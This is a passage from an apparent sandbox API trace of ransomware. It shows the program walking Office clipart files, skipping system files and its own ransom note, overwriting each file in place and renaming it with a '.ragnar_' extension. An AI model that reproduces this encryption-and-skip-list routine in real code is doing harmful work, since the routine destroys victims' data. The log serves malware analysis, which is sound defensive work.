returned=".WMF" [0092.550] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="autorun.inf") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="boot.ini") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="bootfont.bin") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="bootsect.bak") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="bootmgr") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="bootmgr.efi") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="desktop.ini") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="iconcache.db") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="ntldr") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="ntuser.dat") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="ntuser.ini") returned 1 [0092.551] lstrcmpiW (lpString1="TN00211_.WMF", lpString2="thumbs.db") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.551] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf")) returned 0x20 [0092.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.552] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7186) returned 1 [0092.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.552] GetProcessHeap () returned 0x580000 [0092.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.552] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.554] VirtualAlloc (lpAddress=0x0, dwSize=0x1c12, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.554] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c12, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c12, lpOverlapped=0x0) returned 1 [0092.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.555] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c12, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.555] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c12, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c12, lpOverlapped=0x0) returned 1 [0092.555] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.555] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.555] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.555] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.555] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.555] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.556] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.556] GetProcessHeap () returned 0x580000 [0092.556] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.556] CloseHandle (hObject=0xf4) returned 1 [0092.556] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" [0092.556] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.ragnar_FD7BD9FC" [0092.556] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.556] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1 [0092.556] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.557] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00217_.WMF" | out: lpString1="TN00217_.WMF") returned="TN00217_.WMF" [0092.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF") returned=".WMF" [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="autorun.inf") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="boot.ini") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="bootfont.bin") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="bootsect.bak") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="bootmgr") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="bootmgr.efi") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="desktop.ini") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="iconcache.db") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="ntldr") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="ntuser.dat") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="ntuser.ini") returned 1 [0092.557] lstrcmpiW (lpString1="TN00217_.WMF", lpString2="thumbs.db") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.557] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf")) returned 0x20 [0092.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.558] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4644) returned 1 [0092.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x121b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.558] GetProcessHeap () returned 0x580000 [0092.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.558] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.559] VirtualAlloc (lpAddress=0x0, dwSize=0x1224, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.560] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1224, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1224, lpOverlapped=0x0) returned 1 [0092.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.560] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1224, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.560] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1224, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1224, lpOverlapped=0x0) returned 1 [0092.561] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1224, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.561] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.561] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.561] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.561] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.561] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.561] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.561] GetProcessHeap () returned 0x580000 [0092.561] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.561] CloseHandle (hObject=0xf4) returned 1 [0092.561] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" [0092.561] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.ragnar_FD7BD9FC" [0092.561] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.562] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1 [0092.562] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.562] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00218_.WMF" | out: lpString1="TN00218_.WMF") returned="TN00218_.WMF" [0092.562] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF") returned=".WMF" [0092.562] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.562] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="autorun.inf") returned 1 [0092.562] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="boot.ini") returned 1 [0092.562] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="bootfont.bin") returned 1 [0092.562] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="bootsect.bak") returned 1 [0092.562] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="bootmgr") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="bootmgr.efi") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="desktop.ini") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="iconcache.db") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="ntldr") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="ntuser.dat") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="ntuser.ini") returned 1 [0092.563] lstrcmpiW (lpString1="TN00218_.WMF", lpString2="thumbs.db") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.563] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf")) returned 0x20 [0092.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.564] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7104) returned 1 [0092.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.564] GetProcessHeap () returned 0x580000 [0092.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.564] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.565] VirtualAlloc (lpAddress=0x0, dwSize=0x1bc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.565] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1bc0, lpOverlapped=0x0) returned 1 [0092.566] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.566] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.566] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1bc0, lpOverlapped=0x0) returned 1 [0092.566] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.566] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.567] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.567] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.567] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.567] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.567] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.567] GetProcessHeap () returned 0x580000 [0092.567] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.567] CloseHandle (hObject=0xf4) returned 1 [0092.567] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" [0092.567] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.ragnar_FD7BD9FC" [0092.567] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1 [0092.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.568] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00231_.WMF" | out: lpString1="TN00231_.WMF") returned="TN00231_.WMF" [0092.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF") returned=".WMF" [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="autorun.inf") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="boot.ini") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="bootfont.bin") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="bootsect.bak") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="bootmgr") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="bootmgr.efi") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.568] lstrcmpiW (lpString1="TN00231_.WMF", lpString2="desktop.ini") returned 1 [0092.568] lstrcmpiW 